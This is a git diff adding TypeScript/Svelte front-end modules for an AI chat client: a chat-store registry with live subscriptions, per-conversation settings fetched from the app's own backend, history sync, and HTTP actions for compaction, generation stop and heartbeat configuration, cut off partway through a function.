+ const loadedConversationIds = new Set<string>();
+ const loadingConversationIds = new Set<string>();
+
+ // Ephemeral chat stores for MODAL viewers (the heartbeat run-chat modal): a
+ // watch on a conversation's live turn stream WITHOUT opening a tab. Separate
+ // from `chatStores` (tabs) so closing a modal never disturbs the tab strip,
+ // and a tab's conversation reuses its own store (see `watchConversation`).
+ // Deltas are routed here in addition to `chatStores`.
+ const watchStores = new Map<string, ChatStore>();
+ const watchedIds = new Set<string>();
+ const subscribedIds = new Set<string>();
+
+ function syncChatSubscriptions(): void {
+ const desired = liveConversationIds(deps.tabsStore.activeConversationId, watchedIds);
+ for (const id of subscribedIds) {
+ if (!desired.has(id)) {
+ deps.send({ type: "chat.unsubscribe", conversationId: id });
+ subscribedIds.delete(id);
+ }
+ }
+ for (const id of desired) {
+ if (subscribedIds.has(id)) continue;
+ subscribedIds.add(id);
+ deps.send({ type: "chat.subscribe", conversationId: id });
+ if (loadedConversationIds.has(id) && !loadingConversationIds.has(id)) {
+ (chatStores.get(id) ?? watchStores.get(id))?.resync();
+ }
+ }
+ }
+
+ /**
+ * Coalesce live chat events to at most one fold + render per animation
+ * frame (a late-join replay of a long turn arrives as a burst of WS frames;
+ * folding each separately re-derives the whole transcript per frame). A
+ * timeout backs up rAF, which browsers pause in hidden tabs — a backgrounded
+ * tab still applies its events (just less often).
+ */
+ function scheduleChatFlush(flush: () => void): void {
+ let ran = false;
+ const run = (): void => {
+ if (ran) return;
+ ran = true;
+ flush();
+ };
+ if (typeof requestAnimationFrame === "function") requestAnimationFrame(run);
+ setTimeout(run, 250);
+ }
+
+ const chatFlushScheduler =
+ deps.chatFlushScheduler === undefined ? scheduleChatFlush : deps.chatFlushScheduler;
+
+ function createChatFor(conversationId: string, model: string, workspaceId: string): ChatStore {
+ return createChatStore({
+ ...(deps.storage === undefined
+ ? {}
+ : {
+ pendingInputStorage: createPendingInputStorage(deps.storage, conversationId),
+ }),
+ conversationId,
+ createRequestId: randomId,
+ model,
+ workspaceId,
+ transport: {
+ send(msg) {
+ deps.send(msg);
+ },
+ },
+ historySync: deps.historySync,
+ metricsSync: deps.metricsSync,
+ cache,
+ // Read from the persisted store (kept in sync with the reactive `chatLimit`
+ // by `setChatLimit` + boot) so this snapshot doesn't reference the `$state`
+ // — each store captures its limit at creation; live updates go through
+ // `setChatLimit`.
+ chatLimit: normalizeChatLimit(chatLimitStore.load()),
+ canUnload: () => (unloadGate === null ? true : unloadGate()),
+ ...(chatFlushScheduler !== null ? { scheduleFlush: chatFlushScheduler } : {}),
+ onError: (context, err) => {
+ deps.reportError(`${context} (conversation: ${conversationId})`, err);
+ },
+ });
+ }
+
+ const initialDraftId = randomId();
+ // Read `activeWorkspaceId` with untrack to suppress Svelte's
+ // `state_referenced_locally` warning — this intentionally captures the
+ // INITIAL workspace for the boot draft. When the workspace changes later,
+ // `setActiveWorkspace` creates a fresh draft store with the new id.
+ let draftStore: ChatStore = createChatFor(
+ initialDraftId,
+ deps.defaultModel,
+ untrack(deps.activeWorkspaceId),
+ );
+ let draftConversationId: string = initialDraftId;
+
+ let activeChat = $state<ChatStore>(draftStore as ChatStore);
+ function getActiveChat(): ChatStore {
+ const activeId = deps.tabsStore.activeConversationId;
+ if (activeId === null) {
+ return draftStore;
+ }
+ return chatStores.get(activeId) ?? draftStore;
+ }
+
+ function ensureLoaded(conversationId: string): void {
+ if (loadedConversationIds.has(conversationId)) return;
+ const store = chatStores.get(conversationId) ?? watchStores.get(conversationId);
+ if (store === undefined) return;
+ loadedConversationIds.add(conversationId);
+ loadingConversationIds.add(conversationId);
+ void store.load().finally(() => loadingConversationIds.delete(conversationId));
+ }
+
+ function refreshActiveChat(): void {
+ syncChatSubscriptions();
+ const activeId = deps.tabsStore.activeConversationId;
+ if (activeId !== null) ensureLoaded(activeId);
+ activeChat = getActiveChat();
+ }
+
+ /** Discovery creates metadata; only the focused chat and explicit viewers watch live. */
+ function subscribeChat(conversationId: string): void {
+ void conversationId;
+ syncChatSubscriptions();
+ }
+
+ /** Stop watching a conversation's turn events (`chat.unsubscribe`). Never stops the turn. */
+ function unsubscribeChat(conversationId: string): void {
+ if (subscribedIds.delete(conversationId)) {
+ deps.send({ type: "chat.unsubscribe", conversationId });
+ }
+ }
+
+ /**
+ * Open a "watch" on a conversation for a modal viewer (the heartbeat run-chat
+ * modal). Returns a live {@link ChatStore} for the conversation's turn stream.
+ * If the conversation is already an open TAB, reuses its store (it is already
+ * subscribed + streaming); otherwise creates an EPHEMERAL watch store in
+ * `watchStores` (separate from tabs — never opens a tab), subscribes to its
+ * live turn stream, and loads history. Deltas route to it via `handleChatMessage`.
+ * Pair with {@link unwatchConversation} on close.
+ */
+ function watchConversation(conversationId: string): ChatStore {
+ watchedIds.add(conversationId);
+ // An open tab already has a live store + subscription — reuse it.
+ const tabStore = chatStores.get(conversationId);
+ if (tabStore !== undefined) {
+ syncChatSubscriptions();
+ ensureLoaded(conversationId);
+ return tabStore;
+ }
+ const existing = watchStores.get(conversationId);
+ if (existing !== undefined) return existing;
+ const store = createChatFor(conversationId, deps.activeModel(), deps.activeWorkspaceId());
+ watchStores.set(conversationId, store);
+ subscribeChat(conversationId);
+ ensureLoaded(conversationId);
+ return store;
+ }
+
+ /**
+ * Dispose + unsubscribe a watch opened by {@link watchConversation}. A no-op if
+ * the conversation was (or became) an open TAB — the tab owns its store +
+ * subscription, so nothing is torn down (closing the modal must not disturb the
+ * tab strip). Only the ephemeral watch store is disposed + unsubscribed.
+ */
+ function unwatchConversation(conversationId: string): void {
+ watchedIds.delete(conversationId);
+ syncChatSubscriptions();
+ // A tab reuses its own store — leave it (and its subscription) intact.
+ if (chatStores.has(conversationId)) return;
+ const store = watchStores.get(conversationId);
+ if (store === undefined) return;
+ store.dispose();
+ watchStores.delete(conversationId);
+ loadedConversationIds.delete(conversationId);
+ unsubscribeChat(conversationId);
+ }
+
+ return {
+ cache,
+ chatStores,
+ watchStores,
+ loadedConversationIds,
+ createChatFor,
+ ensureLoaded,
+ getActiveChat,
+ refreshActiveChat,
+ subscribeChat,
+ unsubscribeChat,
+ reconnect(): void {
+ subscribedIds.clear();
+ syncChatSubscriptions();
+ },
+ watchConversation,
+ unwatchConversation,
+ get draftStore() {
+ return draftStore;
+ },
+ set draftStore(value: ChatStore) {
+ draftStore = value;
+ },
+ get draftConversationId() {
+ return draftConversationId;
+ },
+ set draftConversationId(value: string) {
+ draftConversationId = value;
+ },
+ get activeChat() {
+ return activeChat;
+ },
+ get chatLimit() {
+ return chatLimit;
+ },
+ async setChatLimit(limit: number): Promise<ChatLimitResult> {
+ const next = normalizeChatLimit(limit);
+ chatLimitStore.save(next);
+ chatLimit = next;
+ // Propagate to every live chat store. The ACTIVE one is awaited so its
+ // refill (on a raise) lands before the caller returns — letting the
+ // shell preserve scroll over the prepended older chunks. Background
+ // stores refill fire-and-forget. Future stores pick the new limit up at
+ // creation (via the persisted store).
+ const active = getActiveChat();
+ await active.setChatLimit(next);
+ for (const s of chatStores.values()) {
+ if (s !== active) void s.setChatLimit(next);
+ }
+ if (draftStore !== active) void draftStore.setChatLimit(next);
+ return { ok: true, chatLimit: next };
+ },
+ attachUnloadGate(gate: () => boolean): void {
+ unloadGate = gate;
+ },
+ dispose(): void {
+ for (const store of chatStores.values()) {
+ store.dispose();
+ }
+ chatStores.clear();
+ for (const store of watchStores.values()) {
+ store.dispose();
+ }
+ watchStores.clear();
+ loadedConversationIds.clear();
+ draftStore.dispose();
+ },
+ };
+}
+export type ChatRegistry = ReturnType<typeof createChatRegistry>;
diff --git a/src/app/conversation-settings.svelte.ts b/src/app/conversation-settings.svelte.ts
new file mode 100644
index 0000000..df259af
--- /dev/null
+++ b/src/app/conversation-settings.svelte.ts
@@ -0,0 +1,428 @@
+import type {
+ CompactPercentResponse,
+ ConversationComputerResponse,
+ CwdResponse,
+ LspStatusResponse,
+ McpStatusResponse,
+ ReasoningEffort,
+ ReasoningEffortResponse,
+ SetCompactPercentRequest,
+ SetConversationComputerRequest,
+ SetCwdRequest,
+ SetReasoningEffortRequest,
+ SetVisionSettingsRequest,
+} from "@dispatch/transport-contract";
+import { untrack } from "svelte";
+import type { SetThinkingRequest, ThinkingResponse } from "../features/chat/reasoning-effort";
+import {
+ normalizeVisionSettings,
+ type VisionSettings,
+ type VisionSettingsPatch,
+} from "../features/vision";
+
+import type {
+ CompactPercentResult,
+ ComputerResult,
+ CwdResult,
+ LspResult,
+ McpResult,
+ ReasoningEffortResult,
+ ThinkingResult,
+ VisionSettingsResult,
+} from "./store-types";
+
+/** Conversation settings keep their original reactive cells and response guards. */
+export function createConversationSettings(deps: {
+ httpBase: string;
+ fetchImpl: typeof fetch;
+ workspaceConversationId: () => string;
+ activeWorkspaceId: () => string;
+ reportError: (context: string, err: unknown) => void;
+}) {
+ const { httpBase, fetchImpl } = deps;
+ // The active conversation's persisted working directory (per-tab). Seeded from
+ // the backend on focus change; null for a draft / when unset.
+ let cwd = $state<string | null>(null);
+
+ /** Refetch the workspace conversation's cwd into reactive state (works for a draft too). */
+ async function refreshCwd(): Promise<void> {
+ const id = deps.workspaceConversationId();
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/cwd`);
+ if (!res.ok) return;
+ const data = (await res.json()) as CwdResponse;
+ // Guard a slow response losing a race with a conversation switch.
+ if (deps.workspaceConversationId() === id) cwd = data.cwd ?? null;
+ } catch (err) {
+ deps.reportError("Failed to load working directory", err);
+ }
+ }
+
+ // The active conversation's persisted computer (SSH Host alias). Seeded on
+ // focus change; null = local / never set (inherits the workspace default).
+ let computerId = $state<string | null>(null);
+
+ /**
+ * Refetch the workspace conversation's persisted computer into reactive state
+ * (works for a draft too). A draft's id 404s until promoted; `res.ok` is false
+ * so it is a silent no-op (mirrors `refreshCwd` for a draft).
+ */
+ async function refreshComputer(): Promise<void> {
+ const id = deps.workspaceConversationId();
+ // Clear immediately so a switch never shows the PREVIOUS conversation's
+ // computer while the fetch is in flight (null renders as "Local").
+ computerId = null;
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/computer`);
+ if (!res.ok) return;
+ const data = (await res.json()) as ConversationComputerResponse;
+ // Guard a slow response losing a race with a conversation switch.
+ if (deps.workspaceConversationId() === id) computerId = data.computerId ?? null;
+ } catch (err) {
+ deps.reportError("Failed to load computer", err);
+ }
+ }
+
+ // The workspace conversation's persisted reasoning effort. Seeded from the
+ // backend on focus change; null = never set (the server default applies).
+ let reasoningEffort = $state<ReasoningEffort | null>(null);
+
+ /** Refetch the workspace conversation's reasoning effort (works for a draft too). */
+ async function refreshReasoningEffort(): Promise<void> {
+ const id = deps.workspaceConversationId();
+ // Clear immediately so a switch never shows the PREVIOUS conversation's level
+ // while the fetch is in flight (null renders as the server default).
+ reasoningEffort = null;
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/reasoning-effort`,
+ );
+ if (!res.ok) return;
+ const data = (await res.json()) as ReasoningEffortResponse;
+ // Guard a slow response losing a race with a conversation switch.
+ if (deps.workspaceConversationId() === id) reasoningEffort = data.reasoningEffort ?? null;
+ } catch (err) {
+ deps.reportError("Failed to load reasoning effort", err);
+ }
+ }
+
+ // The workspace conversation's persisted thinking flag (SEPARATE from the
+ // effort level). Seeded from the backend on focus change; null = never set
+ // (thinking ON — the default). PROPOSED endpoint (see backend-handoff.md):
+ // a 404 (endpoint not yet shipped) leaves `thinking` null ⇒ ON (default), so
+ // the selector simply shows the effort level until the backend ships it.
+ let thinking = $state<boolean | null>(null);
+
+ /** Refetch the workspace conversation's thinking flag (works for a draft too). */
+ async function refreshThinking(): Promise<void> {
+ const id = deps.workspaceConversationId();
+ // Clear immediately so a switch never shows the PREVIOUS conversation's
+ // setting while the fetch is in flight (null ⇒ ON, the default).
+ thinking = null;
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/thinking`);
+ if (!res.ok) return;
+ // Guard against the SPA fallback: when DISPATCH_WEB_DIR is set (production),
+ // unknown API routes get index.html with HTTP 200 + text/html instead of a
+ // 404. Treat any non-JSON 200 as "endpoint not shipped" → leave null (ON).
+ const contentType = res.headers.get("content-type") ?? "";
+ if (!contentType.includes("application/json")) return;
+ const data = (await res.json()) as ThinkingResponse;
+ // Guard a slow response losing a race with a conversation switch.
+ if (deps.workspaceConversationId() === id) thinking = data.thinking ?? null;
+ } catch (err) {
+ deps.reportError("Failed to load thinking setting", err);
+ }
+ }
+
+ // The workspace conversation's auto-compact percent. Seeded from the
+ // backend on focus change; null = not yet fetched. 0 = disabled.
+ let compactPercent = $state<number | null>(null);
+
+ // The GLOBAL vision settings (shared across all conversations). Seeded on
+ // boot; null = not yet fetched.
+ let visionSettings = $state<VisionSettings | null>(null);
+
+ /** Refetch the global vision settings (`GET /settings/vision`). */
+ async function refreshVisionSettings(): Promise<void> {
+ try {
+ const res = await fetchImpl(`${httpBase}/settings/vision`);
+ if (!res.ok) return;
+ const data = normalizeVisionSettings(await res.json());
+ visionSettings = data;
+ } catch (err) {
+ deps.reportError("Failed to load vision settings", err);
+ }
+ }
+
+ /** Refetch the workspace conversation's compact percent (works for a draft too). */
+ async function refreshCompactPercent(): Promise<void> {
+ const id = deps.workspaceConversationId();
+ compactPercent = null;
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/compact-percent`,
+ );
+ if (!res.ok) return;
+ const data = (await res.json()) as CompactPercentResponse;
+ if (deps.workspaceConversationId() === id) compactPercent = data.threshold;
+ } catch (err) {
+ deps.reportError("Failed to load compact percent", err);
+ }
+ }
+ return {
+ refreshCwd,
+ refreshComputer,
+ refreshReasoningEffort,
+ refreshThinking,
+ refreshCompactPercent,
+ refreshVisionSettings,
+ get cwd() {
+ return cwd;
+ },
+ get computerId() {
+ return computerId;
+ },
+ get reasoningEffort() {
+ return reasoningEffort;
+ },
+ get thinking() {
+ return thinking;
+ },
+ get compactPercent() {
+ return compactPercent;
+ },
+ get visionSettings() {
+ return visionSettings;
+ },
+ async setCwd(value: string): Promise<CwdResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetCwdRequest = {
+ cwd: value,
+ workspaceId: untrack(deps.activeWorkspaceId),
+ };
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/cwd`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return { ok: false, error: errBody?.error ?? `Set cwd failed (HTTP ${res.status})` };
+ }
+ const data = (await res.json()) as CwdResponse;
+ const next = data.cwd ?? null;
+ if (deps.workspaceConversationId() === id) cwd = next;
+ return { ok: true, cwd: next };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Set cwd request failed" };
+ }
+ },
+
+ async setComputer(computerIdValue: string | null): Promise<ComputerResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetConversationComputerRequest = { computerId: computerIdValue };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/computer`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set computer failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as ConversationComputerResponse;
+ const next = data.computerId ?? null;
+ if (deps.workspaceConversationId() === id) computerId = next;
+ return { ok: true, computerId: next };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set computer request failed",
+ };
+ }
+ },
+
+ async setReasoningEffort(level: ReasoningEffort): Promise<ReasoningEffortResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetReasoningEffortRequest = { reasoningEffort: level };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/reasoning-effort`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set reasoning effort failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as ReasoningEffortResponse;
+ const next = data.reasoningEffort ?? level;
+ if (deps.workspaceConversationId() === id) reasoningEffort = next;
+ return { ok: true, reasoningEffort: next };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set reasoning effort request failed",
+ };
+ }
+ },
+
+ async setThinking(enabled: boolean): Promise<ThinkingResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetThinkingRequest = { thinking: enabled };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/thinking`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set thinking failed (HTTP ${res.status})`,
+ };
+ }
+ // Guard against the SPA fallback (200 + text/html when the endpoint
+ // is not shipped). Optimistically apply locally — the backend can't
+ // persist it, but the UI reflects the user's intent for this session.
+ const contentType = res.headers.get("content-type") ?? "";
+ if (!contentType.includes("application/json")) {
+ if (deps.workspaceConversationId() === id) thinking = enabled;
+ return { ok: true, thinking: enabled };
+ }
+ const data = (await res.json()) as ThinkingResponse;
+ const next = data.thinking ?? enabled;
+ if (deps.workspaceConversationId() === id) thinking = next;
+ return { ok: true, thinking: next };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set thinking request failed",
+ };
+ }
+ },
+ async setCompactPercent(percent: number): Promise<CompactPercentResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetCompactPercentRequest = { threshold: percent };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/compact-percent`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set compact percent failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as CompactPercentResponse;
+ if (deps.workspaceConversationId() === id) compactPercent = data.threshold;
+ return { ok: true, percent: data.threshold };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set compact percent request failed",
+ };
+ }
+ },
+
+ async setVisionSettings(patch: VisionSettingsPatch): Promise<VisionSettingsResult | null> {
+ const body: SetVisionSettingsRequest = patch;
+ try {
+ const res = await fetchImpl(`${httpBase}/settings/vision`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set vision settings failed (HTTP ${res.status})`,
+ };
+ }
+ const data = normalizeVisionSettings(await res.json());
+ visionSettings = data;
+ return { ok: true, settings: data };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set vision settings request failed",
+ };
+ }
+ },
+ async lspStatus(): Promise<LspResult | null> {
+ const id = deps.workspaceConversationId();
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/lsp`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return { ok: false, error: errBody?.error ?? `LSP status failed (HTTP ${res.status})` };
+ }
+ // Normalize the untyped body at this network seam so a malformed/partial
+ // response can never crash the renderer (servers is guaranteed an array).
+ const data = (await res.json()) as Partial<LspStatusResponse>;
+ const response: LspStatusResponse = {
+ conversationId: data.conversationId ?? id,
+ cwd: data.cwd ?? null,
+ servers: Array.isArray(data.servers) ? data.servers : [],
+ };
+ return { ok: true, response };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "LSP status request failed",
+ };
+ }
+ },
+
+ async mcpStatus(): Promise<McpResult | null> {
+ const id = deps.workspaceConversationId();
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/mcp`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return { ok: false, error: errBody?.error ?? `MCP status failed (HTTP ${res.status})` };
+ }
+ // Normalize the untyped body at this network seam so a malformed/partial
+ // response can never crash the renderer (servers is guaranteed an array).
+ const data = (await res.json()) as Partial<McpStatusResponse>;
+ const response: McpStatusResponse = {
+ conversationId: data.conversationId ?? id,
+ cwd: data.cwd ?? null,
+ servers: Array.isArray(data.servers) ? data.servers : [],
+ };
+ return { ok: true, response };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "MCP status request failed",
+ };
+ }
+ },
+ };
+}
diff --git a/src/app/history-sync.ts b/src/app/history-sync.ts
new file mode 100644
index 0000000..ed5d889
--- /dev/null
+++ b/src/app/history-sync.ts
@@ -0,0 +1,38 @@
+import type {
+ ConversationHistoryResponse,
+ ConversationMetricsResponse,
+} from "@dispatch/transport-contract";
+import type { HistorySync, MetricsSync } from "../features/chat";
+
+export function createHistorySync(httpBase: string, fetchImpl: typeof fetch): HistorySync {
+ return async (conversationId, sinceSeq, window) => {
+ let url = `${httpBase}/conversations/${encodeURIComponent(conversationId)}?sinceSeq=${sinceSeq}`;
+ // CR-5 windowing ([email protected]): both must be positive
+ // integers when present (the server 400s otherwise; callers guarantee it).
+ if (window?.limit !== undefined) url += `&limit=${window.limit}`;
+ if (window?.beforeSeq !== undefined) url += `&beforeSeq=${window.beforeSeq}`;
+ const res = await fetchImpl(url);
+ if (!res.ok) {
+ throw new Error(`History sync failed: ${res.status}`);
+ }
+ const data = (await res.json()) as ConversationHistoryResponse;
+ if (
+ !data ||
+ !Array.isArray(data.chunks) ||
+ !Number.isSafeInteger(data.historyEpoch) ||
+ data.historyEpoch < 0
+ ) {
+ throw new Error("Invalid history response");
+ }
+ return data;
+ };
+}
+
+export function createMetricsSync(httpBase: string, fetchImpl: typeof fetch): MetricsSync {
+ return async (conversationId: string) => {
+ const url = `${httpBase}/conversations/${encodeURIComponent(conversationId)}/metrics`;
+ const res = await fetchImpl(url);
+ if (!res.ok) return { turns: [] };
+ return (await res.json()) as ConversationMetricsResponse;
+ };
+}
diff --git a/src/app/http-actions.ts b/src/app/http-actions.ts
new file mode 100644
index 0000000..55407b4
--- /dev/null
+++ b/src/app/http-actions.ts
@@ -0,0 +1,638 @@
+import type {
+ CompactResponse,
+ ComputerStatusResponse,
+ SetSystemPromptTemplateRequest,
+ SystemPromptTemplateResponse,
+ SystemPromptVariablesResponse,
+ TestComputerResponse,
+ WarmRequest,
+ WarmResponse,
+} from "@dispatch/transport-contract";
+import { untrack } from "svelte";
+import type {
+ AccountUsageProviderId,
+ AccountUsageResult,
+ AccountUsageSettingsResult,
+ UpdateAccountUsageSettingsRequest,
+} from "../features/account-usage";
+import { normalizeAccountUsage, normalizeAccountUsageReport } from "../features/account-usage";
+import type {
+ ConcurrencyCooldownResult,
+ ConcurrencyDeleteResult,
+ ConcurrencyLimitResult,
+ ConcurrencyLimitsResult,
+ ConcurrencyStatusResult,
+} from "../features/concurrency";
+import {
+ normalizeConcurrencyCooldown,
+ normalizeConcurrencyLimit,
+ normalizeConcurrencyLimits,
+ normalizeConcurrencyStatus,
+} from "../features/concurrency";
+import type {
+ HeartbeatConfig,
+ HeartbeatConfigPatch,
+ HeartbeatConfigResult,
+ HeartbeatNextRunResult,
+ HeartbeatRun,
+ HeartbeatRunsResult,
+ HeartbeatStopResult,
+} from "../features/heartbeat";
+import { normalizeHeartbeatConfig, normalizeHeartbeatRuns } from "../features/heartbeat";
+import {
+ normalizeSearchBackendConfig,
+ type SearchBackendConfigResult,
+} from "../features/search-settings";
+
+import type {
+ CompactResult,
+ ComputerStatusResult,
+ SystemPromptLoadResult,
+ SystemPromptSaveResult,
+ SystemPromptVariablesResult,
+ TestComputerResult,
+ WarmResult,
+} from "./store-types";
+
+/** Stateless app HTTP actions; callers inject the current focus/workspace. */
+export function createHttpActions(deps: {
+ httpBase: string;
+ fetchImpl: typeof fetch;
+ activeConversationId: () => string | null;
+ activeModel: () => string;
+ activeWorkspaceId: () => string;
+ reportError: (context: string, err: unknown) => void;
+}) {
+ const { httpBase, fetchImpl } = deps;
+ return {
+ async warmNow(): Promise<WarmResult | null> {
+ const conversationId = deps.activeConversationId();
+ if (conversationId === null) return null;
+ const body: WarmRequest = { conversationId, model: deps.activeModel() };
+ try {
+ const res = await fetchImpl(`${httpBase}/chat/warm`, {
+ method: "POST",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return { ok: false, error: errBody?.error ?? `Warm failed (HTTP ${res.status})` };
+ }
+ return { ok: true, response: (await res.json()) as WarmResponse };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Warm request failed" };
+ }
+ },
+ async computerStatus(alias: string): Promise<ComputerStatusResult | null> {
+ if (alias === "") return null;
+ try {
+ const res = await fetchImpl(`${httpBase}/computers/${encodeURIComponent(alias)}/status`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Computer status failed (HTTP ${res.status})`,
+ };
+ }
+ const status = (await res.json()) as ComputerStatusResponse;
+ return { ok: true, response: status };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Computer status request failed",
+ };
+ }
+ },
+
+ async testComputer(alias: string): Promise<TestComputerResult | null> {
+ if (alias === "") return null;
+ try {
+ const res = await fetchImpl(`${httpBase}/computers/${encodeURIComponent(alias)}/test`, {
+ method: "POST",
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Test computer failed (HTTP ${res.status})`,
+ };
+ }
+ const response = (await res.json()) as TestComputerResponse;
+ return { ok: true, response };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Test computer request failed",
+ };
+ }
+ },
+ stopGeneration(): void {
+ const conversationId = deps.activeConversationId();
+ if (conversationId === null) return;
+ void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/stop`, {
+ method: "POST",
+ }).catch((err) => {
+ deps.reportError("Failed to stop generation", err);
+ });
+ },
+
+ async compactNow(keepLastN?: number): Promise<CompactResult | null> {
+ const conversationId = deps.activeConversationId();
+ if (conversationId === null) return null;
+ const body: Record<string, unknown> = {};
+ if (keepLastN !== undefined) body.keepLastN = keepLastN;
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(conversationId)}/compact`,
+ {
+ method: "POST",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Compact failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as CompactResponse;
+ return { ok: true, response: data };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Compact request failed",
+ };
+ }
+ },
+ async heartbeatConfig(): Promise<HeartbeatConfigResult> {
+ // Workspace-scoped (NOT per-conversation): use the active workspace id.
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Heartbeat config failed (HTTP ${res.status})`,
+ };
+ }
+ // Normalize the untyped JSON at the network seam (pure helper) so a
+ // malformed/partial response can never crash the renderer.
+ const config: HeartbeatConfig = normalizeHeartbeatConfig(await res.json());
+ return { ok: true, config };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Heartbeat config request failed",
+ };
+ }
+ },
+
+ async setHeartbeatConfig(patch: HeartbeatConfigPatch): Promise<HeartbeatConfigResult> {
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(patch),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set heartbeat config failed (HTTP ${res.status})`,
+ };
+ }
+ const config: HeartbeatConfig = normalizeHeartbeatConfig(await res.json());
+ return { ok: true, config };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set heartbeat config request failed",
+ };
+ }
+ },
+
+ async heartbeatRuns(): Promise<HeartbeatRunsResult> {
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/runs`,
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Heartbeat runs failed (HTTP ${res.status})`,
+ };
+ }
